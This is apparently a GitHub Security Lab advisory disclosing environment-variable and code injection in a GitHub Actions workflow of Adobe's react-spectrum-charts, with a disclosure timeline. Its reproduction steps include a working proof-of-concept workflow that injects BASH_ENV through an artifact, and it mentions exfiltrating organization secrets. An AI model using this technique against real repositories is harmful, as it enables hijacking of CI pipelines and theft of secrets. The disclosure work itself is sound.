Coordinated Disclosure Timeline
- 2024-10-04: Reported through HackerOne Bug Bounty Program.
- 2024-10-05: Adobe request PoC.
- 2024-10-05: Sent Adobe a video of PoC on a copy of their repository.
- 2024-10-06: Issue is acknowledged.
- 2024-10-15: Workflow is first disabled and later removed.
Summary
Adobe’s react-spectrum-charts GitHub repository is vulnerable to Poisoned Pipeline Execution via Environment Variable Injection in its pr-sonar.yml
workflow. A malicious actor could gain full-write permissions to the repository and access to the https://github/adobe organization secrets.
Project
Adobe React Spectrum Charts
Tested Version
Latest commit at the time of reporting.
Details
Issue 1: Environment Variable Injection in pr-sonar.yml
(GHSL-2024-266
)
The pr-sonar.yml
workflow gets triggered when a workflow called PR Build
completes.
on:
workflow_run:
workflows: [PR Build]
types: [completed]
When that happens, it checks out the code from the PR and downloads the artifacts from the triggering workflow:
# Checkout the code from the PR
- name: Checkout PR code
uses: actions/checkout@v3
with:
repository: ${{ github.event.workflow_run.head_repository.full_name }}
ref: ${{ github.event.workflow_run.head_branch }}
fetch-depth: 0
# Download the artifacts from the PR build
- name: Download artifacts 📥
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "rsc-pr-build-artifacts"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/rsc-pr-build-artifacts.zip`, Buffer.from(download.data));
- name: Unzip artifacts 📁
run: unzip rsc-pr-build-artifacts.zip
It will then read the artifacts, which content may be controlled by a malicious actor, into Environment variables:
# Save the PR number, branch, and base branch to the environment
- name: Setup workflow variables 📝
run: |
# Load the PR number from the file
pr_number="$(<pr/pr_number)"
echo "PR_NUMBER: ${pr_number}"
pr_branch="$(<pr/pr_branch)"
echo "PR_BRANCH: ${pr_branch}"
pr_base="$(<pr/pr_base)"
echo "PR_BASE: ${pr_base}"
echo "PR_NUMBER=${pr_number}" >> $GITHUB_ENV
echo "PR_BRANCH=${pr_branch}" >> $GITHUB_ENV
echo "PR_BASE=${pr_base}" >> $GITHUB_ENV
A malicious actor may modify the triggering workflow and make it upload malicious artifacts and trigger the execution of the vulnerable workflow. Since the contents of the malicious artifacts are not verified, they may contain new line characters which will allow the attacker to inject arbitrary environment variables into the runner environment. By injecting a BASH_ENV
variable, the attacker will gain arbitrary code execution the next time that bash gets executed which will happen in the Checkout base branch 🌳
step:
- name: Checkout base branch 🌳
run: |
git remote add upstream ${{ github.event.repository.clone_url }}
git fetch upstream
git checkout -B ${{ env.PR_BASE }} upstream/${{ env.PR_BASE }}
git checkout ${{ github.event.workflow_run.head_branch }}
git clean -ffdx && git reset --hard HEAD
Steps to reproduce
- Fork the
adobe/react-spectrum-charts
repository. - Create a new branch
- Modify the
.github/workflows/pr-build.yml
file so it looks like:name: PR Build on: pull_request: jobs: build: runs-on: ubuntu-latest steps: - name: Save PR number env: PR_NUMBER: ${{ github.event.number }} PR_BRANCH: ${{ github.event.pull_request.head.ref }} PR_BASE: ${{ github.event.pull_request.base.ref }} run: | mkdir -p ./pr mkdir -p ./coverage mkdir -p ./dist-storybook echo "foo" > test-report.xml echo "foo" > coverage/lcov.info echo "foo" > dist-storybook/foo cat << 'EOF' > ./pr/pr_number 111 BASH_ENV='$(id 1>&2)' EOF echo $PR_BRANCH > ./pr/pr_branch echo $PR_BASE > ./pr/pr_base - name: Upload code coverage and storybook uses: actions/upload-artifact@v4 with: name: rsc-pr-build-artifacts path: | coverage/lcov.info test-report.xml dist-storybook/* pr/
- Create and submit a Pull Request from your fork
- The modified workflow will get triggered and will upload a malicious artifact. After completion, it will trigger the execution of the vulnerable workflow. Watch its execution and check the output of the
Checkout base branch 🌳
step. It should contain the following line proving arbitrary code execution.Run git remote add upstream https://github.com/pwntests/react-spectrum-charts.git uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal) From https://github.com/pwntests/react-spectrum-charts
Impact
The repository has write-all default permissions and therefore an attacker will be able to get full write token for the repository as we can see in the runs of this workflow:
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
In addition, the attacker will be able to use the write permission to push a malicious new workflow that exfiltrates `${{ toJson(secrets) }} which will exfiltrate, not just the Repo-level secrets, but also any Organization-level defined secrets.
Issue 2: Code Injection in pr-sonar.yml
(GHSL-2024-267
)
Similarly, the same workflow is vulnerable to Code Injection since the contents of the artifact are later interpolated into a Bash script:
run: |
git remote add upstream ${{ github.event.repository.clone_url }}
git fetch upstream
git checkout -B ${{ env.PR_BASE }} upstream/${{ env.PR_BASE }}
git checkout ${{ github.event.workflow_run.head_branch }}
git clean -ffdx && git reset --hard HEAD
Note that the contents of the ${{ env.PR_BASE }}
are controlled by the attacker. Therefore, removing new lines from the artifacts is not sufficient.
Also, the attacker-controlled PR branch name (github.event.workflow_run.head_branch
) gets interpolated into the script.
Impact
Same impact as in GHSL-2024-266.
Credit
These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-266
or GHSL-2024-267
in any communication regarding these issues.